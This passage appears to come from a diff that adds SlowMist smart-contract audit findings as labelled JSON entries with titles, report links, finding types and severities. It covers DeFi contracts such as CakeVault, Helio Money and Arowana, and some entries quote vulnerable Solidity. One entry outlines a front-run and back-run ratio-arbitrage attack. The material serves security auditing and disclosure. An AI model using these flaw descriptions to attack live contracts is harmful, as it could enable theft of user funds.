obtained by the balanceOf function is used to participate in the calculation. But at the end of this function, a certain amount of cake tokens will be transferred to the user through the safeTransfer function, so the number of cake tokens obtained by the balanceOf function used in the calculation of cakeAtLastUserAction is relatively large. ", + "labels": [ + "SlowMist", + "CakeVault", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Missing event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - CakeVault_en-us.pdf", + "body": "In the contract, the owner role can set the addresses of the admin role and the treasure role through the setAdmin function and the setTreasury function, respectively, but no event recording is performed. In the contract, the admin role can change the sensitive parameters of the contract through the setPerformanceFee, setCallFee, setWithdrawFee, and setWithdrawFeePeriod functions, but no event recording is performed. ", + "labels": [ + "SlowMist", + "CakeVault", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Emergency withdrawal issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - CakeVault_en-us.pdf", + "body": "In the Vault contract, the admin role can make emergency withdrawals of cake tokens from the MasterChef contract to the Vault contract via the emergencyWithdraw function. However, it should be noted that any user can obtain 0.25% of the cake token reward in the Vault contract through the harvest function, and re-stake the remaining cake tokens into the MasterChef contract. So if the emergencyWithdraw operation is performed while the contract is not suspended it may cause unintended results. 10 ", + "labels": [ + "SlowMist", + "CakeVault", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Partial logic not implemented", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Das Contract Reverse_en-us.pdf", + "body": "In the setReverseName function of the ReverseLogic contract, after the previous check, the specic check logic when the owner is still 0 address is not implemented. ", + "labels": [ + "SlowMist", + "Das Contract Reverse", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Potential risk of arbitrarily setting reverse name", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Das Contract Reverse_en-us.pdf", + "body": "In the ReverseLogic contract, the user can set the reverse name through the setReverseName function, which allows the contract to set itself. However, some contracts have the feature of arbitrary external calls, which will allow any user to set the reverse name of the contract. ", + "labels": [ + "SlowMist", + "Das Contract Reverse", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "4.2.1.1 The settleHolderInterest is not used to update user interest before Withdraw", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - dFuture_en-us.pdf", + "body": "The code uses payOffInterest to process the user's interest when processing the user's withdraw, but it did not use settleHolderInterest to update the user's interest situation before, resulting in a deviation in the interest payment. ", + "labels": [ + "SlowMist", + "dFuture", + "Severity: Low" + ] + }, + { + "title": "4.2.1.2 The global status is not updated when using the getMarginRatioOf function", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - dFuture_en-us.pdf", + "body": "to calculate the user's position When using the getMarginRationOf function to calculate the user's position, the global state is not updated with updateGlobalInterestRate first, which may cause calculation errors. ", + "labels": [ + "SlowMist", + "dFuture", + "Severity: Low" + ] + }, + { + "title": "4.2.1.3 When calculating the user's position,", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - dFuture_en-us.pdf", + "body": "the user's intereset <0 is not considered When using the getMarginRationOf function to calculate the user's position, the case of rate <0 is not 22 processed. ", + "labels": [ + "SlowMist", + "dFuture", + "Severity: Low" + ] + }, + { + "title": "4.2.2.1 did not consider the issue of system compensation, and did not limit the", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - dFuture_en-us.pdf", + "body": "maximum benefits of users The system code does not consider whether the system can pay for this when processing the user's position closing. When this happens, it will cause an unknown error. ", + "labels": [ + "SlowMist", + "dFuture", + "Severity: Low" + ] + }, + { + "title": "Missing Checking", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_en-us.pdf", + "body": "In PancakeSwapRouter contract, the removeLiquidity / removeLiquidityETH / removeLiquidityWithPermit function does not check whether a pair is exist, which will leads to gas wasting when a pair does not exist. eg. removeLiquidity function function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountA, uint amountB) { 13 address pair = PancakeLibrary.pairFor(factory, tokenA, tokenB); IPancakePair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair (uint amount0, uint amount1) = IPancakePair(pair).burn(to); (address token0,) = PancakeLibrary.sortTokens(tokenA, tokenB); (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0); require(amountA >= amountAMin, 'PancakeRouter: INSUFFICIENT_A_AMOUNT'); require(amountB >= amountBMin, 'PancakeRouter: INSUFFICIENT_B_AMOUNT'); }", + "labels": [ + "SlowMist", + "PancakeSwap", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social - Abstract Account_en-us.pdf", + "body": "1.In the VerifyingSingletonPaymaster contract, the DEFAULT_ADMIN_ROLE can arbitrarily set the unaccountedEPGasOverhead parameters. If this parameter is set too high, paymasterIdBalances may be consumed maliciously. ", + "labels": [ + "SlowMist", + "Open Social - Abstract Account", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Ordinary users with permitCalls may use the owner privilege through arbitrary contract calls", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social - Abstract Account_en-us.pdf", + "body": "The execute and executeBatch functions allow ordinary users to call the contracts which in the permitCalls with arbitrary calldata, can control their native token or ERC20 token assets by these functions. However, this functionality can be abused and users calling the contract itself (OspAccount) through the EntryPoint contract will then be able to call functions like setOwner, setRecoveryAddress, setPermitCall, and revokeSessionKey functions, thus overstepping their authority. ", + "labels": [ + "SlowMist", + "Open Social - Abstract Account", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Missing the event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social - Abstract Account_en-us.pdf", + "body": "In the WhitelistOperationVerifyingPaymaster and the OspAccountFactory contracts, the ADMIN and DEFAULT_ADMIN_ROLE can arbitrarily modify OperationInPut , enableWhitelistOperation , and accountImplementation parameters, but there are no event logs in these functions. ", + "labels": [ + "SlowMist", + "Open Social - Abstract Account", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing zero address validation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social - Abstract Account_en-us.pdf", + "body": "In the OspAccount and the OspAccountFactory contracts, it lacks a zero-check when setting addresses. ", + "labels": [ + "SlowMist", + "Open Social - Abstract Account", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "ERC777 reentrancy risk reminder", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social - Abstract Account_en-us.pdf", + "body": "ERC777 tokens are vulnerable to reentrancy attacks due to a design aw. In the TokenCallbackHandler contract, the deprecated ERC777 standard tokensReceived has been introduced into the contract. If there is any need to deal with ERC77 tokens in the project, strict attention needs to be paid to whether there is reentrancy risk. ", + "labels": [ + "SlowMist", + "Open Social - Abstract Account", + "Type: Unsafe External Call Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Missing event log", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Arowana_en-us.pdf", + "body": "The owner role can call the addToken and removeToken functions to add and remove the specied token address into the _addresses and _indexes . If there is no event record, it is not conducive to the review of community users. ", + "labels": [ + "SlowMist", + "Arowana", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing event log", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Arowana_en-us.pdf", + "body": "7 The owner role can call the setValut function to set the source of reward token distribution. If there is no event record, it is not conducive to the review of community users. ", + "labels": [ + "SlowMist", + "Arowana", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing balance change", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Arowana_en-us.pdf", + "body": "When the user calls the withdraw function for withdrawal ( block.timestap >= pool.end ), the balance of pool is not changed here. ", + "labels": [ + "SlowMist", + "Arowana", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Missing balance check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Arowana_en-us.pdf", + "body": "When the user calls the withdraw function for withdrawal ( block.timestap >= pool.end ), there is a lack of judgment on the balance of valut. If the token balance of valut is not enough to pay the user's reward, the transaction will be rolled back and the user's principal and reward cannot be withdrawn. ", + "labels": [ + "SlowMist", + "Arowana", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Lack of access control issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning Farm - ETH Leverage_en-us.pdf", + "body": "In the BalancerReceiver contract, the SS contract can initiate WETH ash loans through the ashLoan function, but the ashLoan function allows any user to call. Although the loanFallback function of the SS contract checks curState, it is undoubtedly more expected that the ashLoan function can only be called by the SS contract. 10 ", + "labels": [ + "SlowMist", + "Earning Farm - ETH Leverage", + "Type: Authority Control Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Gas optimization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning Farm - ETH Leverage_en-us.pdf", + "body": "In the ETHLeverage contract, the _harvest function is used to collect fees, which will only be charged when lastEarnBlock and block.number are used. But the function does not check whether the dierence between lastEarnBlock and block.number is 0. If multiple users in the same block trigger the _harvest function, it will cause unnecessary gas consumption. ", + "labels": [ + "SlowMist", + "Earning Farm - ETH Leverage", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant logic issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning Farm - ETH Leverage_en-us.pdf", + "body": "In the Controller contract, the owner can set the exchange and harvestFee parameters respectively through the setExchange and setHarvestFee functions. But in this contract the exchange and harvestFee parameters are not used. ", + "labels": [ + "SlowMist", + "Earning Farm - ETH Leverage", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "The problem of checking the number of swaps", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning Farm - ETH Leverage_en-us.pdf", + "body": "In the ETHLeverExchange contract, the swapExactETH function is used to exchange stETH to ETH during emergency withdrawal. It will get the amount of ETH that can be exchanged through the get_dy function and check if the swap amount is larger than the expected required amount. But in theory it is acceptable for the number of swaps to be equal to what is expected to be required. ", + "labels": [ + "SlowMist", + "Earning Farm - ETH Leverage", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning Farm - ETH Leverage_en-us.pdf", + "body": "In the protocol, the owner role has many permissions, such as: the owner can set sensitive parameters, can suspend the contract, can make emergency withdrawals, can migrate the funds of the SS contract, etc. It is obviously inappropriate to give all the permissions of the protocol to the owner, which will greatly increase the single point of 13 risk.", + "labels": [ + "SlowMist", + "Earning Farm - ETH Leverage", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Risk of exchange slippage", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning Farm - ETH Leverage_en-us.pdf", + "body": "When users make withdrawals in the protocol, they need to exchange stETH tokens for ETH tokens through CurvePool. However, the exchange slippage is not limited in the ETHLeverExchange contract, which will make users vulnerable to sandwich attacks when withdrawing. ", + "labels": [ + "SlowMist", + "Earning Farm - ETH Leverage", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Medium Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Ultiverse - Chips Contract_en-us.pdf", + "body": "1.In the GoldChip contract, the owner role can modify key sensitive parameters such as the burnable status, the _baseTokenURI , and granting or revoking roles, which will lead to the risk of over-privilege of the owner role. ", + "labels": [ + "SlowMist", + "Ultiverse - Chips Contract", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Low-level call reminder", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Ultiverse - Chips Contract_en-us.pdf", + "body": "In the ChipStakingPool contract, the contract uses low-level calls and does not limit the amount of gas used to transfer native tokens to users. ", + "labels": [ + "SlowMist", + "Ultiverse - Chips Contract", + "Type: Others", + "Severity: Information" + ] + }, + { + "title": "Potential overow risks caused by type conversion", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Ultiverse - Chips Contract_en-us.pdf", + "body": "In the ChipStakingPool contract, users can deposit the native tokens to gain the Lots. The deposit function uses a type conversion to convert the uint256 type values such as quantity, availableGoldLots, and availableSilverLots to the uint64 type. If the user passes in a quantity greater than uint64, this will cause the overow when converting the data to uint256. ", + "labels": [ + "SlowMist", + "Ultiverse - Chips Contract", + "Type: Arithmetic Accuracy Deviation Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Refund lock reminder", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Ultiverse - Chips Contract_en-us.pdf", + "body": "In the ChipStakingPool contract, users can deposit native tokens to get Lots and claim refunds to get the native back. When calling these two functions, these two functions will check the MerkleProof signed by the central. The claimRefund function will also check whether the user claimed before by checking the userRefundCount[_msgSender()] is larger than 0. If the signed MerkleProof quantity is not the same as the users deposit. There will be a situation where the user will not be able to call the claimRefund function again to withdraw native tokens after claiming refunds once. ", + "labels": [ + "SlowMist", + "Ultiverse - Chips Contract", + "Type: Design Logic Audit", + "Severity: Information" + ] + }, + { + "title": "Transaction reordering issues", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - wault.finance(WUSD)_en-us.pdf", + "body": "(1) In commit: 91c541c2f1c0ac781ddcfb2be6a62555a5e1e8d1, the swapExactTokensForTokensSupportingFeeOnTransferTokens in the stake function is not checked for slippage. https://github.com/WaultFinance/WUSD/blob/91c541c2f/WUSDMaster.sol#L716-L722 function stake(uint256 amount) external nonReentrant { require(amount > 0, 'amount cant be zero'); require(wusdClaimAmount[msg.sender] == 0, 'you have to claim first'); require(amount <= maxStakeAmount, 'amount too high'); usdt.safeTransferFrom(msg.sender, address(this), amount); if(feePermille > 0) { uint256 feeAmount = amount * feePermille / 1000; usdt.safeTransfer(treasury, feeAmount); amount = amount - feeAmount; } uint256 wexAmount = amount * wexPermille / 1000; usdt.approve(address(wswapRouter), wexAmount); wswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( wexAmount, 0, swapPath, address(this), block.timestamp ); wusdClaimAmount[msg.sender] = amount; wusdClaimBlock[msg.sender] = block.number; emit Stake(msg.sender, amount); } 9 (2) In commit: de61d93cd7a35213484827cf32533919c34e732e amountOutMin is the parameter that limits the slippage, but it is entered by the user, the maxStakeAmount is added, but this limit can still be bypassed by sorting multiple transactions. https://github.com/WaultFinance/WUSD/blob/de61d93cd7a35213484827cf32533919c34e732e/WUSDMas ter.sol#L808-L834 function stake(uint256 amount, uint256 amountOutMin) external nonReentrant whenNotPaused { require(amount > 0, 'amount cant be zero'); require(wusdClaimAmount[msg.sender] == 0, 'you have to claim first'); require(amount <= maxStakeAmount, 'amount too high'); usdt.safeTransferFrom(msg.sender, address(this), amount); if(feePermille > 0) { uint256 feeAmount = amount * feePermille / 1000; usdt.safeTransfer(treasury, feeAmount); amount = amount - feeAmount; } wusd.mint(address(this), amount); uint256 wexAmount = amount * wexPermille / 1000; usdt.approve(address(wswapRouter), wexAmount); wswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( wexAmount, amountOutMin, swapPath, address(this), block.timestamp ); wusdClaimAmount[msg.sender] = amount; wusdClaimBlock[msg.sender] = block.number; emit Stake(msg.sender, amount); } (3) In commit: 5f50a2c77828c70299e8a9217cfbb926b8c1, the maxStakePerBlock is added, but this limit can still be bypassed by sorting multiple transactions in multiple blocks. 10 https://github.com/WaultFinance/WUSD/blob/5f50a2c77828c70299e8a9217cfbb926b8c1/WUSDMaster. sol#L819-L851 function stake(uint256 amount, uint256 amountOutMin) external nonReentrant whenNotPaused { require(amount > 0, 'amount cant be zero'); require(wusdClaimAmount[msg.sender] == 0, 'you have to claim first'); require(amount <= maxStakeAmount, 'amount too high'); if(lastBlock != block.number) { lastBlockUsdtStaked = 0; lastBlock = block.number; } lastBlockUsdtStaked += amount; require(lastBlockUsdtStaked <= maxStakePerBlock, 'maximum stake per block exceeded'); usdt.safeTransferFrom(msg.sender, address(this), amount); if(feePermille > 0) { uint256 feeAmount = amount * feePermille / 1000; usdt.safeTransfer(treasury, feeAmount); amount = amount - feeAmount; } wusd.mint(address(this), amount); uint256 wexAmount = amount * wexPermille / 1000; usdt.approve(address(wswapRouter), wexAmount); wswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( wexAmount, amountOutMin, swapPath, address(this), block.timestamp ); wusdClaimAmount[msg.sender] = amount; wusdClaimBlock[msg.sender] = block.number; emit Stake(msg.sender, amount); }", + "labels": [ + "SlowMist", + "wault.finance(WUSD)", + "Type: Reordering Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "Owner or special administrator accounts can operate the key functions. - auth auth auth auth auth auth auth auth - - auth auth auth - auth auth CeToken burn CeToken mint CeToken changeVault hBNB hBNB hBNB burn mint changeMinter HelioProvider liquidation HelioProvider daoBurn HelioProvider daoMint HelioProvider changeDao HelioProvider changeCeToken HelioProvider changeProxy HelioProvider changeCollateralToken HelioProvider changeOperator CerosRouter changeVault CerosRouter changeDex CerosRouter changePool CerosRouter changeProvider OwnableUpgradeable renounceOwnership OwnableUpgradeable transferOwnership CeVaultV2 updateStorage MasterVault _updateCerosStrategyDebt MasterVault depositAllToStrategy MasterVault depositToStrategy MasterVault withdrawFromStrategy MasterVault withdrawAllFromStrategy MasterVault setStrategy MasterVault retireStrat MasterVault migrateStrategy MasterVault withdrawFee MasterVault setDepositFee MasterVault setWithdrawalFee MasterVault addManager MasterVault removeManager MasterVault changeProvider MasterVault changeFeeReceiver MasterVault changeStrategyAllocation WaitingPool addToQueue WaitingPool tryRemove WaitingPool setCapLimit SlidingWindowOracle _authorizeUpgrade UUPSUpgradeable upgradeTo UUPSUpgradeable upgradeToAndCall PriceOracleTestnet _authorizeUpgrade PriceOracle _authorizeUpgrade BaseStrategy setStrategist BaseStrategy setRewards BnbxYieldConverterStrategy changeStakeManager CerosYieldConverterStrategy changeBinancePool CerosYieldConverterStrategy changeCeRouter EmergencyShutdown setMultiSig Ownable renounceOwnership Ownable transferOwnership Interaction addToWhitelist Interaction removeFromWhitelist Jar Jar Jar replenish setSpread setExitDelay", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Sandwich attacks can aect slippage scope", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "contracts/ceros/CerosRouter.sol function deposit() external payable override nonReentrant returns (uint256 value) { //...snip code...// uint256[] memory outAmounts = _dex.getAmountsOut(amount, path); //...snip code...// uint256[] memory amounts = _dex.swapExactETHForTokens{ value: amount }(dexABNBcAmount, path, address(this), block.timestamp + 300); realAmount = amounts[1]; //...snip code...// } function withdrawWithSlippage( address recipient, uint256 amount, uint256 outAmount ) external override nonReentrant returns (uint256 realAmount) { //...snip code...// uint256[] memory amounts = _dex.swapExactTokensForETH( realAmount, outAmount, path, recipient, block.timestamp + 300 ); //...snip code...// } Sandwich attacks, also known as MEV attacks, refer to attackers using the transaction order and execution results on the blockchain to gain additional value. This type of attack is usually carried out by miners or transaction order executors, who can gain additional value by reordering transactions or selectively including or excluding them.", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Reordering Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Ratio arbitrage attack vulnerability", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "contracts/ceros/CeVault.sol contracts/ceros/upgrades/CeVaultV2.sol function _deposit(address account, uint256 amount) private returns (uint256) { uint256 ratio = _aBNBc.ratio(); _aBNBc.transferFrom(msg.sender, address(this), amount); uint256 toMint = (amount * 1e18) / ratio; //SlowMist// _depositors[account] += amount; // aBNBc _ceTokenBalances[account] += toMint; // mint ceToken to recipient ICertToken(_ceToken).mint(account, toMint); emit Deposited(msg.sender, account, toMint); return toMint; } function _withdraw( address owner, address recipient, uint256 amount ) private returns (uint256) { uint256 ratio = _aBNBc.ratio(); uint256 realAmount = (amount * ratio) / 1e18;//SlowMist// require( _aBNBc.balanceOf(address(this)) >= realAmount, \"not such amount in the vault\" ); uint256 balance = _ceTokenBalances[owner]; require(balance >= amount, \"insufficient balance\"); _ceTokenBalances[owner] -= amount; // BNB // burn ceToken from owner ICertToken(_ceToken).burn(owner, amount); _depositors[owner] -= realAmount; // aBNBc _aBNBc.transfer(recipient, realAmount); emit Withdrawn(owner, recipient, realAmount); return realAmount; } Here we can see that the amount of deposit and withdraw is related to the ratio. We can query the implementation of the ratio from the call chain: _aBNBc: function ratio() public view returns (uint256) { return IBondToken(_bondToken).ratio(); } _bondToken: function ratio() public view override returns (uint256) { return _ratio; } function repairRatio(uint256 newRatio) external onlyOwner { _ratio = newRatio; emit RatioUpdated(_ratio); } function updateRatio(uint256 totalRewards) external onlyOperator { uint256 totalShares = totalSharesSupply(); uint256 denominator = _totalStaked + totalRewards - _totalUnbondedBonds; _ratio = multiplyAndDivideFloor(totalShares, 1e18, denominator); // (totalShares * 1e18) / denominator; if (historicalRatios.length == 0) { historicalRatios = new uint256[](8); } if (block.timestamp - _lastUpdate > 1 days - 1 minutes) { uint256 _latestOffset = latestOffset; historicalRatios[((_latestOffset + 1) % 8)] = _ratio; latestOffset = _latestOffset + 1; _lastUpdate = block.timestamp; } emit RatioUpdated(_ratio); } The value of the ratio can be modied by Owner or through other mechanisms. We may trust the operations of the Owner, but changes in the ratio can cause serious arbitrage attacks that can be implemented without the Owner's permission. The main idea is to use MEV attacks by monitoring the transaction memory pool on the blockchain. When a transaction that increases the ratio is found, one transaction deposits the CeVault contract, and another transaction calls the withdraw function of CeVault. By adjusting the form of the transaction fees, these two transactions are placed before and after the ratio change transaction, allowing direct get aBNBc in CeVault. Asset changes like this: Tx1: deposit: 100 aBNBc Tx2: repairRatio: 1-->1.2 Tx3: withdraw: 120 aBNBc", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Unsafe External Call Audit", + "Severity: Critical" + ] + }, + { + "title": "Missing check return value", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "Code location: _aBNBc.transferFrom(msg.sender,address(this),amount) (CeVault.sol#70) _aBNBc.transfer(recipient,availableYields) (CeVault.sol#105) _aBNBc.transfer(recipient,realAmount) (CeVault.sol#143) _certToken.transferFrom(owner,address(this),amount) (CerosRouter.sol#125) _certToken.transfer(recipient,profit) (CerosRouter.sol#165) IERC20(wBnbToken).approve(dexAddress,type()(uint256).max) (CerosRouter.sol#59) IERC20(certToken).approve(dexAddress,type()(uint256).max) (CerosRouter.sol#60) IERC20(certToken).approve(bondToken,type()(uint256).max) (CerosRouter.sol#61) IERC20(certToken).approve(pool,type()(uint256).max) (CerosRouter.sol#62) IERC20(certToken).approve(vault,type()(uint256).max) (CerosRouter.sol#63) _certToken.approve(address(_vault),0) (CerosRouter.sol#250) _certToken.approve(address(_vault),type()(uint256).max) (CerosRouter.sol#252) IERC20(_wBnbAddress).approve(address(_dex),0) (CerosRouter.sol#256) _certToken.approve(address(_dex),0) (CerosRouter.sol#257) IERC20(_wBnbAddress).approve(address(_dex),type()(uint256).max) (CerosRouter.sol#260) _certToken.approve(address(_dex),type()(uint256).max) (CerosRouter.sol#261) _certToken.approve(address(_pool),0) (CerosRouter.sol#266) _certToken.approve(address(_pool),type()(uint256).max) (CerosRouter.sol#268) IERC20(_ceToken).approve(daoAddress,type()(uint256).max) (HelioProvider.sol#67) _ceRouter.withdrawABNBc(recipient,amount) (HelioProvider.sol#155) _dao.deposit(account,address(_ceToken),amount) (HelioProvider.sol#174) _dao.withdraw(account,address(_ceToken),amount) (HelioProvider.sol#178) IERC20(_ceToken).approve(address(_dao),0) (HelioProvider.sol#194) IERC20(_ceToken).approve(address(_dao),type()(uint256).max) (HelioProvider.sol#196) IERC20(_ceToken).approve(address(_dao),0) (HelioProvider.sol#200) IERC20(_ceToken).approve(address(_dao),type()(uint256).max) (HelioProvider.sol#202) IERC20Upgradeable(_rewardsToken).approve(address(target),reward) (mediator/ElipsisMediator.sol#59) _bnbxToken.approve(destination,type()(uint256).max) (strategy/BnbxYieldConverterStrategy.sol#58) _bnbxToken.approve(address(_stakeManager),0) (strategy/BnbxYieldConverterStrategy.sol#313) _bnbxToken.approve(address(_stakeManager),type()(uint256).max) (strategy/BnbxYieldConverterStrategy.sol#315) _certToken.approve(binancePool,type()(uint256).max) (strategy/CerosYieldConverterStrategy.sol#40) _certToken.approve(address(_binancePool),0) (strategy/CerosYieldConverterStrategy.sol#146) _certToken.approve(address(_binancePool),type()(uint256).max) (strategy/CerosYieldConverterStrategy.sol#148) _snBnbToken.approve(destination,type()(uint256).max) (strategy/SnBnbYieldConverterStrategy.sol#57) _snBnbToken.approve(address(_stakeManager),0) (strategy/SnBnbYieldConverterStrategy.sol#309) _snBnbToken.approve(address(_stakeManager),type()(uint256).max) (strategy/SnBnbYieldConverterStrategy.sol#311) hay.transferFrom(address(receiver), address(this), total)(contracts/flash.sol#110) hay.transfer(keeper,hayBal) (libraries/AuctionProxy.sol#39) hay.transfer(keeper,hayBal) (libraries/AuctionProxy.sol#62) hay.transferFrom(msg.sender,address(this),hayMaxAmount) (libraries/AuctionProxy.sol#83) hay.transfer(receiverAddress,hayBal) (libraries/AuctionProxy.sol#99) hay.approve(hayJoin_,type()(uint256).max) (Interaction.sol#103) hay.approve(address(hayJoin),0) (Interaction.sol#109) hay.approve(hayJoin_,type()(uint256).max) (Interaction.sol#118) hay.approve(address(hayJoin),type()(uint256).max) (Interaction.sol#122) IERC20Upgradeable(hay).transferFrom(msg.sender,address(this),wad) (vow.sol#99) Not verifying the return value may lead to logical errors.", + "labels": [ + "SlowMist", + "Helio Money", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Missing zero address validation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Helio Money_en-us.pdf", + "body": "Code locations: CeToken.changeVault(address).vault (CeToken.sol#47) CeVault.changeRouter(address).router (CeVault.sol#194) CerosRouter.changeProvider(address).provider (CerosRouter.sol#271) hBNB.changeMinter(address).minter (hBNB.sol#42) HelioProvider.initialize(address,address,address,address,address,address).certToken (HelioProvider.sol#51) HelioProvider.initialize(address,address,address,address,address,address).ceToken (HelioProvider.sol#52) HelioProvider.changeCeToken(address).ceToken (HelioProvider.sol#199) HelioProvider.changeProxy(address).auctionProxy (HelioProvider.sol#205) HelioProvider.changeOperator(address).operator (HelioProvider.sol#213) MasterVault.initialize(uint256,uint256,uint8,address,address).ceToken (masterVault/MasterVault.sol#86) MasterVault.withdrawETH(address,uint256).account (masterVault/MasterVault.sol#126) PriceOracle.initialize(address,IMovingWindowOracle,bool,address,address)._tokenIn (oracle/PriceOracle.sol#22) PriceOracle.initialize(address,IMovingWindowOracle,bool,address,address)._wbnb (oracle/PriceOracle.sol#25) PriceOracle.initialize(address,IMovingWindowOracle,bool,address,address)._usd (oracle/PriceOracle.sol#26) PriceOracleTestnet.initialize(address,IMovingWindowOracle,bool)._tokenIn (oracle/PriceOracleTestnet.sol#31) SlidingWindowOracle.initialize(address,uint256,uint8).factory_ (oracle/SlidingWindowOracle.sol#46) BnbxYieldConverterStrategy.distributeManual(address).recipient (strategy/BnbxYieldConverterStrategy.sol#253) SnBnbYieldConverterStrategy.distributeManual(address).recipient (strategy/SnBnbYieldConverterStrategy.sol#253) StkBnbStrategy.distributeManual(address).recipient (strategy/StkBnbStrategy.sol#280) Interaction.setWhitelistOperator(address).usr (Interaction.sol#59) Interaction.initialize(address,address,address,address,address,address,address).dog_ (Interaction.sol#86) Jar.initialize(string,string,address,uint256,uint256,uint256)._hayToken (jar.sol#88) Clipper.file(bytes32,address).data (clip.sol#166) Dog.file(bytes32,address).data (dog.sol#133) 